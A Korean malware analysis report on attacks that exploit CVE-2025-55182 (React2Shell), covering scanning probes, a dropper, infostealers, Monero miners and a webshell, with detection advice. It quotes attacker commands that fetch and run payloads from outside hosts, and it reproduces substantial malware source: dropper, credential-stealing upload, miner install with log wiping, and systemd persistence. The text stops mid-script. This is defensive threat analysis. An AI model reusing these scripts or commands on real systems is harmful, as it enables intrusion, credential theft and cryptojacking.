블로그
home
Nation-State Cyber Actors Analysis Report
home
😈

CVE-2025-55182(React2Shell)를 악용한 악성코드 유포 및 악성코드 분석

작성자
오원보
감수인
김미희
작성일
2025/12/18
배포일
2025/12/18
문서등급
TLP:CLEAR
Tags
CVE-2025-55182
React2Shell
문서유형
Analysis Report
CVE-2025-55182(React2Shell) 취약점의 기술적인 분석 보고서는 “CVE-2025-55182(React2Shell) 취약점 분석 및 대응방안” 참고

01. Executive Summary

CVE-2025-55182(React2Shell) 취약점을 악용하여 공격 대상을 찾기 위해 자동화 스캐닝 또는 직접 악성코드를 유포하는 방식을 주로 사용
(자동화 스캐닝) : 취약점 패치가 진행되지 않은 서버를 찾기 위해 echo를 통한 계산 결과 리턴, powershell 실행 등 스캐닝 시도
(취약한 서버 발견 시) : 인코딩된 Base64 데이터, 쉘 스크립트 실행을 통한 추가 악성행위 진행 (RAT, Trojan, Miner 설치 목적)
취약점 악용에 성공한 경우 스크립트가 동작하여 악성코드가 다운로드 및 설치되며 실행된 악성코드는 암호화폐 채굴, 정보 탈취 및 RAT 기능을 내장
(탈취 정보) : hostname, OS Version, Kernel Version, IP, 로그인 배너 문자열, NIC 이름, id 결과, DNS 구성 등
(위장 프로세스명) : vim, writeback, [kworker/0:2], systemd-devd, system-update-service
대응방안
시스템 이상 여부 점검
사용 중인 서버의 프로세스 현황을 점검하여 vim, [kworker/0:2], writeback, systemd-devd , system-update-service 또는 의심스러운 프로세스 존재 시 실제 실행 경로를 파악하여 비정상 실행인 경우 즉시 프로세스 종료
(프로세스 실제 실행경로 확인 방법)
1.
의심스러운 프로세스의 PID 확보 : ps -ef | grep "Process Name"
2.
확보한 PID를 ls -lh /proc/"pid"/exe 입력 시 실제 실행 경로 확인 가능
악성코드가 주로 저장되는 C:\Temp(Windows), /tmp(Linux) 또는 정상적이지 않은 경로에 생성된 파일 발견 시 즉시 삭제

02. CVE-2025-55182(React2Shell) 취약점 악용 사례

자동화 스캔을 통해 CVE-2025-55182(React2Shell) 취약점 악용에 성공한 경우 악성코드를 삽입하여 실행하도록 설계

2.1. devkitstudio 소유 React 서버 대상 공격 시도

2025-12-05, devkitstudio 소유 React 서버를 대상으로 CVE-2025-55182(React2Shell)를 악용하여 Linux 백도어 트로이 목마를 다운로드하고 실행하려는 시도를 포착 후 분석 내용을 GitHub에 공개
공격 시도에 대한 패킷은 POST 메소드, Python Requests 2.31, 자동화된 공격 스크립트를 사용한 것으로 추정 (분석가가 일부 공개)
Body에 삽입된 코드는 악성코드 다운로드 및 실행을 위한 코드로 확인
wget http://45.76.155.14/vim -O /tmp/vim ; \ // 악성코드 다운로드 및 저장 경로 chmod +x /tmp/vim ; \ // 실행을 위한 권한 변경 nohup /tmp/vim > /dev/null 2>&1 & ; \ // 백그라운드 실행 및 로그아웃 이후에서 실행 rm -f /tmp/vim // 실행파일 삭제
JavaScript
복사

2.2. 자동화 스캔

자동화 스캔을 통해 특정 응답을 실행하도록 유도하여 CVE-2025-55182(React2Shell)에 취약한 서버 검증
/bin/sh -c echo $((288*288)) /bin/sh -c echo $((40453*43186)) /bin/sh -c powershell -c \288*288\
JavaScript
복사

2.3. 취약한 서버 대상 악성행위 진행

CVE-2025-55182(React2Shell)에 취약한 서버 확인 시 쉘 스크립트, Base64 데이터 실행을 통한 추가 악성행위 진행
1) 쉘 스크립트 실행 목적
/bin/sh -c $(curl -s http://help.093214[.]xyz:9731/fn32.sh | bash | gzip -n | base64 -w0),/bin/sh -c echo VULN_CHECK_SUCCESS /bin/sh -c $(curl -s http://keep.camdvr[.]org:8000/d5.sh | bash | gzip -n | base64 -w0),/bin/sh -c echo $((41*271)),/bin/sh -c echo $((42259*42449)),/bin/sh -c wget http://superminecraft.net[.]br:3000/sex.sh && bash sex.sh,/bin/sh -c wget https://sup001.oss-cn-hongkong.aliyuncs[.]com/123/python1.sh && chmod 777 python1.sh && ./python1.sh /bin/sh -c echo wget -O /tmp/test.sh http://31.57.46.28/test.sh&&sh /tmp/test.sh|base64 -d|sh,/bin/sh -c id && pwd && ls -la && ps aux | grep node (command -v curl >/dev/null 2>&1 && curl -s hxxp://47.84.57[.]207/index | bash) || (command -v wget >/dev/null 2>&1 && wget -q -O- hxxp://47.84.57[.]207/index | bash) || (command -v python3 >/dev/null 2>&1 && python3 -c "import urllib.request as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('hxxp://47.84.57.207/index').read())") || (command -v python >/dev/null 2>&1 && python -c "import urllib2 as u,subprocess; subprocess.Popen(['bash'], stdin=subprocess.PIPE).communicate(u.urlopen('hxxp://47.84.57[.]207/index').read())") /bin/sh -c (curl -fsSL -m180 hxxp[:]//115.42.60[.]223:61236/slt||wget -T180 -q hsxp[:]//115.42.60[.]223:61236/slt)|sh
JavaScript
복사
2) base64 인코딩 데이터 실행 목적
/bin/sh -c echo <base64-encoded text> | base64 -d | sh | base64 -w0 -> base64 디코딩 데이터 예시 : /bin/sh uname -a ; id ;hostname -I ; ls -la / ; ls -la ~ ;cat /etc/hosts;cat /etc/resolv.conf // 운영체제 정보, id 결과, hostname, DNS 구성 추출 목적
JavaScript
복사
3) Monero 채굴 프로그램 설치 목적
/bin/sh -c (wget -qO- http://156.234.209[.]103:20912/get.sh || curl -fsSL http://156.234.209[.]103:20912/get.sh) | bash,/bin/sh -c curl -s -L https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/setup_c3pool_miner .sh | bash -s <encoded Monero address>,/bin/sh -c echo $((41*271)),/bin/sh -c echo $((42636*43926)),/bin/sh -c powershell -enc IEX (New-Object System.Net.Webclient).DownloadString('http://156.234.209[.]103:63938/nrCrQ')
JavaScript
복사
4) React 파일 관리자( fm.js )로 위장한 대화형 웹쉘 설치 시도
/bin/sh -c cd /tmp && nohup node fm.js > /dev/null 2>&1 & sleep 2,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 13373/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 3000/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 8080/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 8888/' fm.js 2>&1,/bin/sh -c cd /tmp && sed -i 's/const PORT = [0-9]*/const PORT = 9000/' fm.js 2>&1,/bin/sh -c cd /tmp && wget -q -O fm.js https://raw.githubusercontent.com/laolierzi-commits/phpbd/refs/heads/main/rjs/filemanager-standalone.js 2>&1 && wc -c fm.js,/bin/sh -c echo $((41*271)),/bin/sh -c echo 'segawon.id' > /app/public/segawon.txt && chmod 644 /app/public/segawon.txt,/bin/sh -c echo 'segawon.id' > /app/web/public/segawon.txt && chmod 644 /app/web/public/segawon.txt,/bin/sh -c echo 'segawon.id' > /var/www/html/segawon.txt && chmod 644 /var/www/html/segawon.txt,/bin/sh -c id,/bin/sh -c killall -9 node 2>/dev/null,/bin/sh -c ls -la
JavaScript
복사

03. Malware Analysis

CVE-2025-55182(React2Shell) 취약점 악용에 성공하여 설치 및 실행된 악성코드는 드로퍼, 암호화폐 채굴, 정보 탈취 및 RAT 기능을 내장
Data
Dropper
Infostealer
Cryptocurrency Miner
Persistance (RAT, Sliver)
최초 실행 파일 종류
Shell Script
Shell Script, ELF64
PowerShell, Shell Script
ELF64
위장 프로세스명
[kworker/0:2]
vim
systemd-devd, system-update-service
writeback
탈취 정보
-
hostname, OS Version, Kernel Version, 환경변수 등
-
로그인 배너 문자열, x86_64 아키텍처 사용 여부, hostname, NIC 정보 등
특이사항
1. /tmp/log_de.log 파일을 중복실행 방지용으로 사용 2. 복호화 데이터를 메모리에서 직접 실행(XOR Key : 0x99)
실행 파일의 접근 시간/최종 수정 시간(atime/mtime) 변경
피해자 장비에 wget, curl이 없는 경우 C2에서 다운로드 및 설치하는 로직 포함
1. 프로세스 재실행을 통한 동적 분석 방해 2. Go 언어 함수 난독화

3.1. Dropper (SHA256 : a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4)

a455731133c00fdd2a141bdfba4def34ae58195126f762cdf951056b0ef161d4 파일 내부 데이터 확인 결과 Shell Script 포함
CPU 아키텍처를 확인한 이후 맞는 버전의 파일을 다운로드 받는 코드로 확인
export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin mkdir -p /tmp cd /tmp touch /usr/local/bin/writeablex >/dev/null 2>&1 && cd /usr/local/bin/ touch /usr/libexec/writeablex >/dev/null 2>&1 && cd /usr/libexec/ touch /usr/bin/writeablex >/dev/null 2>&1 && cd /usr/bin/ rm -rf /usr/local/bin/writeablex /usr/libexec/writeablex /usr/bin/writeablex // 파일 생성 및 이동 가능여부 확인 export PATH=$PATH:$(pwd) l64="115.42.60.223:61236/?h=115.42.60.223&p=61236&t=tcp&a=l64&stage=true" l32="115.42.60.223:61236/?h=115.42.60.223&p=61236&t=tcp&a=l32&stage=true" a64="115.42.60.223:61236/?h=115.42.60.223&p=61236&t=tcp&a=a64&stage=true" a32="115.42.60.223:61236/?h=115.42.60.223&p=61236&t=tcp&a=a32&stage=true" // CPU 아키텍쳐에 맞는 다운로드 경로 선언 v="6a7603d7tcp" rm -rf $v ARCH=$(uname -m) // CPU 아키텍쳐 확인 if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL -m180 $l64 -o $v||wget -T180 -q $l64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l64'", "'$v'")') // curl, wget, Python을 이용한 파일 다운로드 elif [ ${ARCH}x = "i386x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL -m180 $l32 -o $v||wget -T180 -q $l32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$l32'", "'$v'")') elif [ ${ARCH}x = "aarch64x" ]; then (curl -fsSL -m180 $a64 -o $v||wget -T180 -q $a64 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a64'", "'$v'")') elif [ ${ARCH}x = "armv7lx" ]; then (curl -fsSL -m180 $a32 -o $v||wget -T180 -q $a32 -O $v||python -c 'import urllib;urllib.urlretrieve("http://'$a32'", "'$v'")') fi chmod +x $v // 실행 권한추가 (nohup $(pwd)/$v > /dev/null 2>&1 &) || (nohup ./$v > /dev/null 2>&1 &) || (nohup /usr/bin/$v > /dev/null 2>&1 &) || (nohup /usr/libexec/$v > /dev/null 2>&1 &) || (nohup /usr/local/bin/$v > /dev/null 2>&1 &) || (nohup /tmp/$v > /dev/null 2>&1 &) #
JavaScript
복사

1) x86_64x 데이터

CPU 아키텍쳐가 x86_64x 조건에 맞는 경우 다운로드 받는 샘플 4종 확보
샘플 4종의 경우 로직이 유사하여 4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b 파일을 대표로 분석
SHA256
Archtecture
Signature
4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b
AMD64
ELF64
55ae00bc8482afd085fd128965b108cca4adb5a3a8a0ee2957d76f33edd5a864
AMD64
ELF64
62e9a01307bcf85cdaeecafd6efb5be72a622c43a10f06d6d6d3b566b072228d
AMD64
ELF64
1663d98c259001f1b03f82d0c5bee7cfd3c7623ccb83759c994f9ab845939665
AMD64
ELF64
최초 실행 시 중복 실행 확인 용도로 /tmp/log_de.log 파일 존재 유무 확인 후 존재 시 실행 종료
파일 미존재 시 C2 주소를 name에 전달받아 DNS 주소를 질의
DNS 질의에 성공 시 Domain을 Socket 통신에 사용
DNS 질의에 실패 시 IP 주소를 Socket 통신에 사용
4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b 기준 최초 실행 시 행위
SHA256
Filename
C2 IP
4a759cbc219bcb3a1f8380a959307b39873fb36a9afd0d57ba0736ad7a02763b
/tmp/log_de.log
115[.]42.60.223
55ae00bc8482afd085fd128965b108cca4adb5a3a8a0ee2957d76f33edd5a864
/tmp/log_de.log
107[.]173.50.53
62e9a01307bcf85cdaeecafd6efb5be72a622c43a10f06d6d6d3b566b072228d
/tmp/log_de.log
194[.]246.84.13
1663d98c259001f1b03f82d0c5bee7cfd3c7623ccb83759c994f9ab845939665
/tmp/log_de.log
156[.]238.237.103
전달받은 주소를 기반으로 Socket 통신을 시작하며 연결에 성공 시 문자열인 “l64 ”,소켓 구조 일부, C2 주소를 전달 후 메모리 실행을 위해 미리 공간을 할당
Socket 통신 시작 및 메모리 할당 준비
조건에 부합하는 경우 XOR 암호화된 추가 악성코드로 추정되는 데이터가 돌아오며 XOR Key인 0x99로 복호화 진행
XOR 복호화 루틴
프로세스 실행 시 실행파일 이름을 커널 쓰레드로 보이게 하기 위해 [kworker/0:2]로 위장
복호화된 데이터를 fexecve() 함수를 이용하여 메모리에서 직접 실행
프로세스명 위장 및 메모리 직접 실행 루틴

3.2. Infostealer

1) Shell Script 기반

Shell Script 기반으로 제작된 정보탈취 악성코드는 C2 주소 이외에 코드의 행위가 동일한 것으로 확인
SHA256: 7c2d9c6ae9c811c62e67a6279fec0b68047a031eae674d3d5f9279a4ec7e8a25를 기준으로 분석 진행
NO
SHA256
C2
1
7c2d9c6ae9c811c62e67a6279fec0b68047a031eae674d3d5f9279a4ec7e8a25
http://47[.]84.82.8/upload
2
d2263684cfb35bae31de108f5edebdf35cccf21eb8e315a28b39952fae50b3a9
http://8[.]222.213.56/upload
Shell Script 최상단에 스크립트가 실행된 대상의 hostname을 확보하며 C2, Timestamp 및 출력할 파일의 형식을 미리 지정
#!/bin/bash # Monitor script configuration SERVER_URL="http://47.84.82.8/upload" HOSTNAME=$(hostname) TIMESTAMP=$(date '+%Y%m%d_%H%M%S') OUTPUT_FILE="${HOSTNAME}_${TIMESTAMP}.txt"
JavaScript
복사
서버에서 탈취할 파일명, 폴더명 및 모니터링할 패턴을 미리 저장
FILE_NAMES: 환경변수 및 암호화폐 관련 데이터, /etc/passwd 및 shadow 파일
MONITOR_PATTERNS: 입력 히스토리, 저장된 패스워드 및 키 정보 등
MONITOR_DIRS: ssh, aws 인증키, 클라우드 관련 데이터
FILE_NAMES
MONITOR_PATTERNS
MONITOR_DIRS
.env
_history
.ssh
.docker/config.json
credential
.aws
.git/config
password
.aliyun
.config/solana/id.json
config
.hcloud
.bitcoin/wallet.dat
private
.tccli
.arbitrum/mainnet/config.yaml
key
.config/gcloud
.electrum/config
.pem
.kube
wallet
root 및 사용자 계정의 home 폴더를 순회하면서 지정된 파일이 존재하는 경우 REPORT_DIRS()목록에 추가
USER_DIRS+=("/root") # Add files from /root for fname in "${FILE_NAMES[@]}"; do MONITORED_FILES+=("/root/$fname") done MONITORED_FILES+=("/etc/passwd") MONITORED_FILES+=("/etc/shadow") # Add monitor directories from /root if they exist for dir_name in "${MONITOR_DIRS[@]}"; do if [ -d "/root/$dir_name" ]; then REPORT_DIRS+=("/root/$dir_name") fi done # Add files from all users in /home if [ -d "/home" ]; then for user_dir in /home/*; do if [ -d "$user_dir" ]; then USER_DIRS+=("$user_dir") for fname in "${FILE_NAMES[@]}"; do MONITORED_FILES+=("$user_dir/$fname") done # Add monitor directories if they exist for dir_name in "${MONITOR_DIRS[@]}"; do if [ -d "$user_dir/$dir_name" ]; then REPORT_DIRS+=("$user_dir/$dir_name") fi done fi done fi
JavaScript
복사
수집된 정보를 ${HOSTNAME}_${TIMESTAMP}.txt 파일명의 파일로 저장
탈취 정보 : hostname, OS Version, Kernel Version, 환경변수, NIC, IP 주소, ps -aux 결과, netstat -anpt 결과, root 및 사용자 계정의 home 폴더를 순회하면서 지정한 파일 내 데이터 전체 복사
# Start report echo "========================================" > "$OUTPUT_FILE" echo "Monitor Report - $HOSTNAME" >> "$OUTPUT_FILE" echo "Time: $(date '+%Y-%m-%d %H:%M:%S')" >> "$OUTPUT_FILE" echo "========================================" >> "$OUTPUT_FILE" echo "" >> "$OUTPUT_FILE" # System information echo "" >> "$OUTPUT_FILE" echo "===== Basic System Information =====" >> "$OUTPUT_FILE" echo "Hostname: $HOSTNAME" >> "$OUTPUT_FILE" echo "" >> "$OUTPUT_FILE" echo "Operating System:" >> "$OUTPUT_FILE" if [ -f /etc/os-release ]; then cat /etc/os-release >> "$OUTPUT_FILE" 2>&1 elif [ -f /etc/redhat-release ]; then cat /etc/redhat-release >> "$OUTPUT_FILE" 2>&1 elif [ -f /etc/debian_version ]; then echo "Debian $(cat /etc/debian_version)" >> "$OUTPUT_FILE" 2>&1 else uname -a >> "$OUTPUT_FILE" 2>&1 fi
JavaScript
복사
${HOSTNAME}_${TIMESTAMP}.txt 파일을 C2로 전달하기 위해 curl, wget, python2/3버전의 코드를 각각 사용하여 성공하는 경우 UPLOAD_SUCCESS=1 을 반환
UPLOAD_SUCCESS=1 을 반환한 경우 생성된 txt 파일을 삭제하며 실패하는 경우 스크립트 강제 종료
if command -v curl >/dev/null 2>&1; then if upload_with_curl; then UPLOAD_SUCCESS=1 fi fi if [ $UPLOAD_SUCCESS -eq 0 ] && command -v wget >/dev/null 2>&1; then if upload_with_wget; then UPLOAD_SUCCESS=1 fi fi if [ $UPLOAD_SUCCESS -eq 0 ] && command -v python3 >/dev/null 2>&1; then if upload_with_python3; then UPLOAD_SUCCESS=1 fi fi if [ $UPLOAD_SUCCESS -eq 0 ] && command -v python >/dev/null 2>&1; then if upload_with_python; then UPLOAD_SUCCESS=1 fi fi if [ $UPLOAD_SUCCESS -eq 1 ]; then rm -f "$OUTPUT_FILE" exit 0 else exit 1 fi
JavaScript
복사

2) ELF64 기반

vim(파일명 위장, SHA256 : 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce)은 Go 언어 기반 64비트 Linux 실행 파일로 확인
Virustotal에 샘플 이력 조회 결과 최초 업로드는 2025-12-05 09:49:00(UTC +0)에 베트남에서 최초 업로드 된 것으로 확인
vim(SHA256 : 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce) 파일 정보
Virustotal에 악성코드 조회 결과 시 확인되는 파일 업로드 이력
vim(파일명 위장)의 경우 실행된 스크립트에 따라 자가삭제 루틴이 존재하나 실패할 경우를 대비하여 vim의 접근 시간/최종 수정 시간(atime/mtime) 변경 선행
vim 파일의 접근 시간/최종 수정 시간(atime/mtime) 변경
내부에 숨겨진 데이터 일부 복호화 결과 api[.]qtss.cc:443를 C2로 사용하며, 공격자가 최초 C2 통신 설정 시 redhat 통신으로 위장하기 위해 redhat 문자열을 포함한 것으로 추정
C2 통신을 위한 문자열 연결 과정의 일부
hostname, 운영체제 정보, IP를 먼저 수집 후 C2에 POST 메소드를 이용하여 전달을 시도하나 DNS 질의에서 실패하여 전송 실패된 것으로 확인
User-Agent : Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50
정보 수집 시도 및 POST로 전송 시도
Wireshark 패킷에서 확인되는 DNS 질의 실패 내역

3.3. Cryptocurrency Miner

암호화폐(Monero, XMR) 채굴을 위해 CPU/GPU 기반 마이너인 XMRig의 Windows, Linux 버전 설치를 위한 스크립트가 포함되어 있는 것으로 확인
Windows, Linux 버전 스크립트 공통 동작 순서 (암호화폐 지갑 주소를 스크립트 실행 시 입력받아 사용하는 구조로 확인)
1.
현재 실행한 사용자의 권한을 기준으로 쓰기 가능한 폴더를 검색하여 XMRig 설치 경로 지정
2.
공격자가 채굴된 암호화폐를 자신의 암호화폐 지갑에 추가하기 위해 기존에 설치된 암호화폐 마이너 삭제 작업 선행
3.
시스템 아키텍쳐를 확인하여 64/32비트 확인 후 비트에 맞는 XMRig 파일을 설치 경로에 다운로드 및 실행
4.
XMRig 설치 경로를 숨김 처리하거나 리눅스 버전의 경우 실행 파일을 삭제하여 지속성 유지
1) PowerShell Script 버전
SHA256
채굴 프로그램 설치경로
채굴 프로그램 다운로드 주소
5360c10dedbec8da96d79840feda84fca927356e93f65e3752c1c9f621daf64b
C:\Windows\Temp C:\Temp D:\Temp
http://inerna1[.]site/xb/runner.zip
a26c70f34d35f78f0b95bf402d513f69e196720576d9115dba0efdb4c57deb81
C:\Windows\Temp C:\Temp D:\Temp
http://anywherehost[.]site/xb/runner.zip
function Find-WritableDirectory { // 쓰기 가능한 폴더를 찾아 작업 폴더로 사용 param ( [switch]$ReturnToOriginal = $false ) # Save current directory to return later if needed $originalPath = $pwd.Path # Define directories to check (in priority order) $directoriesToCheck = @( $([System.Environment]::GetEnvironmentVariable('USERPROFILE')), $pwd.Path, # Current directory $([System.Environment]::GetEnvironmentVariable('TEMP')), # Temp directory $([System.Environment]::GetEnvironmentVariable('TMP')), # Alternative temp "C:\Windows\Temp", # Windows temp "C:\Temp", # Possible temp location "D:\Temp" # Another possible temp location ) == 중략 == function xmsInstall // 기존의 채굴 프로그램 검색 후 강제종료 루틴 { param($KEY) sc.exe stop c3pool_miner >$null sc.exe delete c3pool_miner >$null sc.exe stop jin_miner >$null sc.exe delete jin_miner >$null $DIR = Find-WritableDirectory if ($DIR) { Write-Host "[+] Working directory changed to: $DIR" } else { Write-Host "[-] No writable directory found, continuing in current directory" return } Set-Location $DIR write-host "[+] DIR: $($pwd.Path)" Write-Host "[+] UID: $KEY" Stop-Process -Name 'runner.exe' 2>$null Stop-Process -Name 'jin.exe' 2>$null Remove-Item -Force -Recurse cache 2>$null Remove-Item -Force -Recurse .xms 2>$null Remove-Item -Force runner.zip 2>$null Get-Process -name runner 2>$null if($?){ Write-Host "Miner is Running To EXIT" return } write-host "[+] start install" net session >$null 2>$null if($?){ $ADMIN=1 }else{ $ADMIN=0 } write-host "[+] ADMIN:$ADMIN" try { $uri = "http://inerna1.site/xb/runner.zip" $des = "runner.zip" Invoke-WebRequest -Uri $uri -UseBasicParsing -OutFile $des } catch { Write-Warning "Download Error: $_" return } if(Test-Path -Path "runner.zip" -PathType Leaf){ write-host "[+] ZIP IS OK" }else{ Get-ChildItem write-host "[-] ZIP IS Removed" return } # Unzip write-host "[+] DIR:$DIR" $SourceZip = Join-Path -Path $DIR -ChildPath "runner.zip" $DistDir = Join-Path -Path $DIR -ChildPath "cache" write-host "[+] SourceZip: $SourceZip" write-host "[+] DistDir: $DistDir" try{ Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory($SourceZip, $DistDir) Write-Host "[+] Unzip Ok" } catch { Write-Warning "Error: $_" return } if(Test-Path -Path ".\cache\runner.exe"){ .\cache\runner.exe --version 2>$null if($?){ Write-Host "[+] Miner Is Ok" }else{ Write-Error "[-] Miner is Removed" return } } else { Write-host "[-] cache\runner.exe was removed by antivirus" return } [System.Environment]::SetEnvironmentVariable("KEY",$KEY) [System.Environment]::SetEnvironmentVariable("PASS","x") [System.Environment]::SetEnvironmentVariable("LOG",".app.log") try{ Start-Process "runner.exe" -WorkingDirectory cache -WindowStyle Hidden } catch { Write-Error "Error: $_" return } Get-Process -name runner 2>$null if($?){ Write-Host "[+] start Ok" }else{ Write-Host "[-] Start Error" } }
JavaScript
복사
2) Shell Script 버전
SHA256
채굴 프로그램 설치경로
채굴 프로그램 다운로드 주소
위장 프로세스 명
ca77dbfa81abe6afabb417b03e1733f685b9a551b63f492e86e18d3a521b1a6
/tmp /var/tmp /dev/shm
http://inerna1[.]site/xms/su?isokgrep5.2&os=$(uname -o)&arch=$(uname -m)
systemd-devd
b9df31875df5761c9b75065c8323f13ead8e033f9fdc922422b045e17e0d5e2
/tmp /var/tmp /dev/shm
http://anywherehost[.]site/xb/systemd-devd.$(uname -m)?5.2isokgrep$PASSWORD
systemd-devd
if [ -n "$1" ];then // 최초 실행 시 패스워드를 전달 받아 실행 PASSWORD=$1 elif [ -n "$UID" ]; then // 아닌 경우 UID를 패스워드로 사용 PASSWORD="$UID" else echo "[-] UID NOT FOUND" exit 1 fi // 시스템 아키텍처를 전달받아 사용 XDB="http://anywherehost.site/xb/systemd-devd.$(uname -m)?5.2isokgrep$PASSWORD" PWK="http://anywherehost.site/xms/su?isokgrep5.2&os=$(uname -o)&arch=$(uname -m)" CURL_DOWNLOAD_URL="http://anywherehost.site/curl/curl.$(uname -m)" echo "[*] start install" processName="systemd-devd" LDR="curl -k -fsSL -m 80" RUNNING=0 crontab -r 2>/dev/null ps aux | grep $processName | awk '{if($3<20) print $2}' | xargs -I % kill -9 % 2>/dev/null if [ "$(id -u)" -eq 0 ];then if [ -f /etc/ld.so.preload ];then chattr -ia /etc/ld.so.preload cat /dev/null >/etc/ld.so.preload fi ulimit -n 65535 echo '0' >/proc/sys/kernel/nmi_watchdog 2>/dev/null echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 2>/dev/null fi echo "[+] PASS=$PASSWORD" clean(){ // 기존의 채굴 프로그램 검색 후 강제종료 루틴 pkill kdevtmpfsi pkill kinsing pkill hazara pkill xmrig pkill killer == 중략 == fi fi done } loadCurl(){ # init wget // curl, wget 설치 여부 확인 및 설치된 프로그램을 변수에 로드 echo "[*] start init curl" if test -x "$(command -v curl)";then LDR="curl -fsSL" elif test -x "$(command -v wget)";then LDR="wget -q -O -" else echo "[-] NOT CURL OR WGET" // 둘 다 없는 경우 curl 설치 __curl $CURL_DOWNLOAD_URL > /tmp/curl chmod +x /tmp/curl if test -x "$(command -v /tmp/curl)";then LDR="/tmp/curl -fsSL" else echo "[-] NOT CURL" exit 0 fi fi echo "[+] LDR:$LDR" } loadCurl echo "[*] LDR:$LDR" clear(){ crontab -r 2>/dev/null } kill2(){ ps -ef | grep "kthreaddo" | grep -v grep | awk '{print $2}' | xargs -I % kill -9 % $LDR "http://anywherehost.site/xms/kill2.sh?grep" | sh -s kthreaddo >.log 2>&1 & tail -100 .log echo "[+] start kill ok" } if [ "$(id -u)" = "0" ];then // root 여부 확인 echo "[+] current user $(whoami)" else if sudo -n true 2>/dev/null;then echo "[+] Use Sudo `whoami`" sudo bash -c "$LDR http://anywherehost.site/xms/k1.sh?grep | bash -s $PASSWORD" exit 0 elif [ "$(uname -m)" = "x86_64" ] || [ "$(uname -m)" = "i686" ]; then # check arch echo "[*] Try PWK" $LDR "$PWK" > pwn echo "[*] Download PWN OK" chmod +x pwn rm -rf "GCONV_PATH=." "gconv" if ./pwn -c "id" | grep "root";then echo "[+] Got root successful!" ./pwn -c "$LDR http://anywherehost.site/xms/k1.sh?grep | bash -s $PASSWORD" rm -rf "GCONV_PATH=." "gconv" exit 0 fi rm -rf "GCONV_PATH=." "gconv" pwn else echo "[+] Arch=$(uname -m)" fi fi install(){ # check file is ok if $LDR "$XDB" > $processName;then echo "[+] Use $LDR $XDB > $processName Successful" else # download for github echo "[-] Use $LDR $XDB > $processName Failed" exit 1 fi echo "[+] md5 $(md5sum $processName)" chmod +x $processName export PATH=$PATH:. if [ "$(id -u)" = "0" ];then ulimit -n 65535 2>/dev/null echo '0' >/proc/sys/kernel/nmi_watchdog 2>/dev/null echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf 2>/dev/null echo "[+] clear so" chattr -ia /etc/ld.so.preload 2>/dev/null rm -rf /etc/ld.so.preload 2>/dev/null fi PASS="x" LOG=/dev/shm/.app.log KEY=$PASSWORD $processName -B echo "[+] install successful!" kill2 } install rm -rf $processName // 자가 삭제 if [ `id -u` -eq 0 ];then echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron fi echo "[*] EXIT" history -c rm -rf ~/.bash_history // 입력한 명령이 기록된 히스토리 파일 삭제
JavaScript
복사
3) Shell Script 신규 버전
Shell Script 신규 버전의 경우 암호화폐 지갑 주소가 스크립트에 내장된 구조로 서비스 등록 후 백그라운드로 실행하는 행위 확인
SHA256 : 13675cca4674a8f9a8fabe4f9df4ae0ae9ef11986dd1dcc6a896912c7d527274
#!/bin/bash # Configuration // XMRig 설치에 필요한 설정 데이터 TAR_FILE="kal.tar.gz" EXTRACT_DIR="xmrig-6.24.0" BINARY_PATH="$(pwd)/$EXTRACT_DIR/xmrig" ARGS="--url pool.hashvault.pro:443 --user 88tGYBwhWNzGesQs5QkwE1PdBa1tXGb9dcjxrdwujU3SEs3i7psaoJc4KmrDvv4VPTNtXazDWGkvGGfqurdBggvPEhZ43DJ --pass next --donate-level 0 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14" SERVICE_NAME="system-update-service" # Download and setup if not already present // 공식 사이트에서 파일 다운로드 진행 if [ ! -f "$BINARY_PATH" ]; then curl -L -o "$TAR_FILE" --user-agent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz tar xvzf "$TAR_FILE" fi chmod +x "$BINARY_PATH" // 실행 권한 추가 # Attempt systemd setup // 서비스 등록 시도 INSTALLED_SYSTEMD=0 if [ "$(id -u)" -eq 0 ] && command -v systemctl >/dev/null 2>&1; then echo "Root privileges detected. Attempting systemd setup..." SERVICE_FILE="/etc/systemd/system/${SERVICE_NAME}.service" cat <<EOF > "$SERVICE_FILE" [Unit] Description=System Update Service After=network.target [Service] Type=simple ExecStart=${BINARY_PATH} ${ARGS} Restart=always RestartSec=10 User=root [Install] WantedBy=multi-user.target EOF systemctl daemon-reload systemctl enable "$SERVICE_NAME" systemctl start "$SERVICE_NAME" if systemctl is-active --quiet "$SERVICE_NAME"; then echo "Service started via systemd." INSTALLED_SYSTEMD=1 fi fi # Fallback to nohup // 백그라운드에서 실행 활성화 if [ $INSTALLED_SYSTEMD -eq 0 ]; then echo "Starting with 